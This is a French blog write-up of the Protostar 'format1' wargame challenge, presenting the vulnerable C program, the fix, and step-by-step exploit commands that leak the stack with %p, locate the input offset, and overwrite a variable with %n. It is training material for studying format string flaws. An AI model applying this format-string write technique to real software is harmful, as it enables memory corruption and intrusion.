Protostar – Format 1

Ce soir nous allons nous attaquer au challenge format 1 de la VM protostar ( https://exploit-exercises.com/protostar/format1/ )

Tout d’abord voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Format1.c

La faille de type format string de ce binaire vient du fait qu’on envoie directement la chaîne dans le printf sans passer par une chaîne de format.

Pour sécuriser ce programme il faut donc remplacer printf(string) par printf(« %s »,string) .

Pour réussir ce challenge il faut afficher la chaîne « you have modified the target 🙂 » en modifiant la valeur de la variable target.

Essayons tout d’abord de retrouver notre chaîne envoyée dans la format string :

user@protostar:/opt/protostar/bin$ ./format1 $(python -c "print('ABBBBCCCC'+'-%p'*150)")
ABBBBCCCC-0x804960c-0xbffff618-0x8048469-0xb7fd8304-0xb7fd7ff4-0xbffff618-0x8048435-0xbffff7e3-0xb7ff1040-0x804845b-0xb7fd7ff4-0x8048450-(nil)-0xbffff698-0xb7eadc76-0x2-0xbffff6c4-0xbffff6d0-0xb7fe1848-0xbffff680-0xffffffff-0xb7ffeff4-0x804824d-0x1-0xbffff680-0xb7ff0626-0xb7fffab0-0xb7fe1b28-0xb7fd7ff4-(nil)-(nil)-0xbffff698-0x6cc1ab9a-0x46959d8a-(nil)-(nil)-(nil)-0x2-0x8048340-(nil)-0xb7ff6210-0xb7eadb9b-0xb7ffeff4-0x2-0x8048340-(nil)-0x8048361-0x804841c-0x2-0xbffff6c4-0x8048450-0x8048440-0xb7ff1040-0xbffff6bc-0xb7fff8f8-0x2-0xbffff7d9-0xbffff7e3-(nil)-0xbffff9af-0xbffff9bd-0xbffff9d1-0xbffff9f2-0xbffffa05-0xbffffa0f-0xbffffeff-0xbfffff3d-0xbfffff51-0xbfffff68-0xbfffff79-0xbfffff81-0xbfffff91-0xbfffff9e-0xbfffffd0-0xbfffffe6-(nil)-0x20-0xb7fe2414-0x21-0xb7fe2000-0x10-0x78bfbbf-0x6-0x1000-0x11-0x64-0x3-0x8048034-0x4-0x20-0x5-0x7-0x7-0xb7fe3000-0x8-(nil)-0x9-0x8048340-0xb-0x3e9-0xc-(nil)-0xd-0x3e9-0xe-0x3e9-0x17-0x1-0x19-0xbffff7bb-0x1f-0xbffffff2-0xf-0xbffff7cb-(nil)-(nil)-(nil)-0xea000000-0xf54840d7-0xbd72c996-0x8b106ee-0x69d6a46c-0x363836-(nil)-(nil)-0x662f2e00-0x616d726f-0x41003174-0x42424242-0x43434343-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025

Nous pouvons voir la valeur 0x42424242 à la 128ème adresse affichée qui correspond aux BBBB

Affichons maintenant directement l’adresse correspondante a nos BBBB

 ./format1 $(python -c "print('AAABBBBCCC_%128\$x')")
AAABBBBCCC_42424242

Remplaçons maintenant les BBBB par l’adresse voulue , celle de  la variable target que nous récupérons à l’aide de GDB :

user@protostar:/opt/protostar/bin$ gdb -q ./format1 
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) printf "%p\n",&target
0x8049638

Il ne reste plus qu’a modifier BBBB par l’adresse et de remplacer le %x qui lit à l’adresse indiquée par %n qui écrit à l’adresse indiquée :

user@protostar:/opt/protostar/bin$ ./format1 $(python -c "print('AAA\x38\x96\x04\x08CCC_%128\$n')")
AAA8�CCC_you have modified the target 🙂

la chaîne « you have modified the target 🙂 » est bien affichée , challenge réussi !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.